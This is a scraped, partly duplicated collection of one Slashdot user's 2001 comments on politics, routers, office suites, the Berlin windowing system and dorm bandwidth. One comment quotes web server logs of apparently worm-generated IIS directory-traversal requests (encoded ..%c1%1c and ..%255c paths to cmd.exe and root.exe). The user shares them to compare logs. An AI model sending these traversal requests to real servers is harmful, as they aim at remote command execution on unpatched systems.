So? are you bullshitting? is this a difference in logging? or are there two strings going around? I'm on the west coast, 134.x.x.x, just for general knowledge.
If Nader hadn't run, Gore would have won.
If Gore had won, we would see the government acting in a different way.
Prove it. Go ahead. Gore took a ton of money, probably more than bush, from hollywood. Why would it be any different? Form one good, coherant, logical argument that says Gore would have gone against his contributors and broken them up, I'd love to see it.
yea, that's secure, but it's nowhere near as simple or as inexpensive...
openbsd will allow you to have a firewall, and it will handle dhcp/nat/etc for you, but you'll have to configure it. That isnt hard, espescially for people who read this site, but its harder than plugging in a router and configuring it via web interface...
From a cost standpoint, I just bought a 99 dollar linksys router for about 45 after some clever rebates and amazon coupons. Go ahead and tell me what kind of hardware you can buy to run a *bsd router for that much money. I dont think you can even get a small hard drive for that price.
So, yes, congratulations on your first post, but you're wrong. typical.
again, I'm not saying it isnt used, I'm just saying that no company (espescially with 40,000 users) is going to mandate a switch to *nix/SO.
I, personally, run SO on the computers I administer for work, but I also use MS products for anything that needs to be seen or edited by anyone other than myself...
no company is going to tell 40,000 employees to use unix on the desktop. the might ALLOW IT, but they arent going to make it the "official office suite"... certainly not yet anyway... probably for the same reason we refuse to install it on our 1500 user college boxes, it's a huge mess in large user environments.
Yea, sure, that'd work, but then it'd have to take off and land once or twice an hour, which increases risk and limits it's time in the air doing what it was designed to do.
Look at it like computers. Windows machines are good for gaming, but they're average for servers. Unix machines are great servers, but average for desktops. It's better to have specialized equiptment: let everything do what it was designed to do, and dont try to make it do what it wasnt designed for.
Basically, it's a nice idea, but not really feasible.
Someone already noted that Heisenberg says we cant trust the position of very very small things, and even if we could, by the time that technique moved the nanostructures into place, we'd certainly no longer know where they were. That previous article points out a useful way to move multiple large objects at once, but it's nearly useless on small, nanoscale objects, even in limited quantities.
An often wanted feature of XFree86 has been support for true alpha transparency. The Free Software community has worked around this limitation in various ways from copying the background image into the X terminal to a very alpha translucent GTK+ theme. The Enlightenment (www.enlightenment.org) window manager has been able to achieve the translucent moving of windows. But real alpha transparency has yet to be added.
Berlin has alpha transparency today. You can see this on Berlin's screenshots page (www.berlin-consortium.org/screenshots.shtml). Notice that everything can be seen behind a transparent window, not just the background image. Furthermore, Berlin's archicture allows for anything to be transparent, from a single widget to the entire desktop
Well, that's reason enough to load debian on this spare machine and try it... Yes, it's a sad, pathetic reason, but I've really got nothing better to do with my time, and I'd kinda like to see berlin in action...
On another note, the site seems to be responding slower now (/.'ing beginning to take effect?), so I cant seem to find information about support. Does berlin build on *BSD?
This is slashdot, nothing's ever obvious (look back at some of the past "ask slashdot"'s).
This is slashdot, everything is an anti-linux conspiracy.
Best tool for the best job, that's directX on windows for gaming. Period. Maybe someday that will change, but not any time soon.
Re:bearshare/napster/etc
on
Dorm Storm?
·
· Score: 5, Interesting
my school has a slightly different solution... each IP gets 1.5 GB a day of bandwidth. Exceed that, you and the admins get an email, explaining that bandwidth costs money and also explaining that it's very hard to exceed a gig a day in legal downloads. Three emails in one semester, and the admin's start threatening that you'll lose TCP/IP access beyond the router if it doesnt stop immediately.
I've actually challenged the "its hard to exceed this legally" nonsense, because I download quite a few operating system ISO every few weeks, usually all in one day, when I need to use them, but as a whole, it's a decent policy. As an student sysadmin, I know that very rarely does anyone actually exceed a gig a day, and on top of that, I know that most of the emails go ignored as "one time accidents"... Only once do I know of the school actually cutting someone off at the router, because the person thought it was cool to run a warez box from the dorms.
Looking at some of the people working for/with this company, I'm not gonna jump on the "it has to be a myth" bandwagon....
Terry Gannon - Independent consultant. Terry founded TeraGen and has held executive positions at Xilinx, Seeq and Sun Microsystems.
John Payne - Chairman of Fast Chip. John is the former president and COO of IDT; president and CEO of Star Semiconductor; president and COO of Rendition.
Rick Shiner - Venture partner with Woodside Fund. Rick is the former president and CEO of Hotrail; president and CEO of Exponential Technology. He has also held executive positions at Apple, Intel, Motorola and Wang Laboratories.
Tom Whiteside - Independent consultant. Tom is the former president of MIPS Technology. He also served as the Vice President of Microprocessor Development at IBM and most recently served on the board of Chicory Systems.
Bill Goins - Marketing Angel. With over 25 years of marketing leadership, Bill founded Powered,Inc. and performed COO, VP or executive marketing roles at Micron Electronics, Power Computing, Apple, Dynamac and NL Information Systems.
There really is some intelligence and talent working for this company, I'd like to see what they can produce. Maybe in a few months, if there's no decent benchmarks (by that time, someone somewhere should have written code to use their logic, right?), then I'll jump on the "it's a myth" bandwagon, but I'm willing to give them a chance first.
another workaround (that hits performance, but fixes the problem) is to use the "NOAPIC" option at the boot prompt. Supposedly it's fixed in the alan cox kernel, but it doesnt seem to appear in the linus version's changelogs. it may be fixed in 2.4.8
Slashdot Mirror
uh ... none of my logs have any mention of that get request that involves the c+tftp...
/scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-" /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-" /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-" /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-" /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:12 -0700] "GET
[18/Sep/2001:08:13:12 -0700] "GET
[18/Sep/2001:08:13:12 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
[18/Sep/2001:08:13:13 -0700] "GET
So? are you bullshitting? is this a difference in logging? or are there two strings going around? I'm on the west coast, 134.x.x.x, just for general knowledge.
Now they did quit counting in Florida
no they didnt. they counted 4 times. each time was closer than the last, but bush always won. and when all was said and done, bush still won.
grow up, it's over, bush wins.
If Nader hadn't run, Gore would have won.
If Gore had won, we would see the government acting in a different way.
Prove it. Go ahead. Gore took a ton of money, probably more than bush, from hollywood. Why would it be any different? Form one good, coherant, logical argument that says Gore would have gone against his contributors and broken them up, I'd love to see it.
http://boris.st.hmc.edu/~jeff/american.jpg ..
... that's all i have to say .
the fact that they're passing legislation means that congress doesnt know, not that the NSA cant do it. there's a HUGE difference.
yea, that's secure, but it's nowhere near as simple or as inexpensive ...
openbsd will allow you to have a firewall, and it will handle dhcp/nat/etc for you, but you'll have to configure it. That isnt hard, espescially for people who read this site, but its harder than plugging in a router and configuring it via web interface...
From a cost standpoint, I just bought a 99 dollar linksys router for about 45 after some clever rebates and amazon coupons. Go ahead and tell me what kind of hardware you can buy to run a *bsd router for that much money. I dont think you can even get a small hard drive for that price.
So, yes, congratulations on your first post, but you're wrong. typical.
a little over 541,000 as of right now ...
then find a new site ... really simple choice, isnt it?
are you referring to this book? ...
...
Very good book on terrorist cells working within the country
all the things you bitch about on /. seem like nothing every day, today they seem like less than nothing ...
the signal11 should have given it away ... except your UID is about 150,000 too high to realize who he is, or what's going on ...
why is everything in this thread knocked to -1? is this someone's attempt to prevent this thread from being archived?
again, I'm not saying it isnt used, I'm just saying that no company (espescially with 40,000 users) is going to mandate a switch to *nix/SO.
I, personally, run SO on the computers I administer for work, but I also use MS products for anything that needs to be seen or edited by anyone other than myself...
no company is going to tell 40,000 employees to use unix on the desktop. the might ALLOW IT, but they arent going to make it the "official office suite" ... certainly not yet anyway ... probably for the same reason we refuse to install it on our 1500 user college boxes, it's a huge mess in large user environments.
Or you could have just looked at the page, and seen this:
Rotor Speed: 400 RPM
Yea, sure, that'd work, but then it'd have to take off and land once or twice an hour, which increases risk and limits it's time in the air doing what it was designed to do.
Look at it like computers. Windows machines are good for gaming, but they're average for servers. Unix machines are great servers, but average for desktops. It's better to have specialized equiptment: let everything do what it was designed to do, and dont try to make it do what it wasnt designed for.
the article says A$160m , whereas the description says US$80m ... not all dollars were created equal.
5 digit UID and you're surprised by that? c'mon now.
Basically, it's a nice idea, but not really feasible.
Someone already noted that Heisenberg says we cant trust the position of very very small things, and even if we could, by the time that technique moved the nanostructures into place, we'd certainly no longer know where they were. That previous article points out a useful way to move multiple large objects at once, but it's nearly useless on small, nanoscale objects, even in limited quantities.
Yea, i noticed that, I forgot to change it when i Cut/Pasted, sorry.
An often wanted feature of XFree86 has been support for true alpha transparency. The Free Software community has worked around this limitation in various ways from copying the background image into the X terminal to a very alpha translucent GTK+ theme. The Enlightenment (www.enlightenment.org) window manager has been able to achieve the translucent moving of windows. But real alpha transparency has yet to be added.
... Yes, it's a sad, pathetic reason, but I've really got nothing better to do with my time, and I'd kinda like to see berlin in action ...
Berlin has alpha transparency today. You can see this on Berlin's screenshots page (www.berlin-consortium.org/screenshots.shtml). Notice that everything can be seen behind a transparent window, not just the background image. Furthermore, Berlin's archicture allows for anything to be transparent, from a single widget to the entire desktop
Well, that's reason enough to load debian on this spare machine and try it
On another note, the site seems to be responding slower now (/.'ing beginning to take effect?), so I cant seem to find information about support. Does berlin build on *BSD?
This is slashdot, nothing's ever obvious (look back at some of the past "ask slashdot"'s).
This is slashdot, everything is an anti-linux conspiracy.
Best tool for the best job, that's directX on windows for gaming. Period. Maybe someday that will change, but not any time soon.
my school has a slightly different solution ... each IP gets 1.5 GB a day of bandwidth. Exceed that, you and the admins get an email, explaining that bandwidth costs money and also explaining that it's very hard to exceed a gig a day in legal downloads. Three emails in one semester, and the admin's start threatening that you'll lose TCP/IP access beyond the router if it doesnt stop immediately.
I've actually challenged the "its hard to exceed this legally" nonsense, because I download quite a few operating system ISO every few weeks, usually all in one day, when I need to use them, but as a whole, it's a decent policy. As an student sysadmin, I know that very rarely does anyone actually exceed a gig a day, and on top of that, I know that most of the emails go ignored as "one time accidents"... Only once do I know of the school actually cutting someone off at the router, because the person thought it was cool to run a warez box from the dorms.
There really is some intelligence and talent working for this company, I'd like to see what they can produce. Maybe in a few months, if there's no decent benchmarks (by that time, someone somewhere should have written code to use their logic, right?), then I'll jump on the "it's a myth" bandwagon, but I'm willing to give them a chance first.
Yep, we bought new network cards.
another workaround (that hits performance, but fixes the problem) is to use the "NOAPIC" option at the boot prompt. Supposedly it's fixed in the alan cox kernel, but it doesnt seem to appear in the linus version's changelogs. it may be fixed in 2.4.8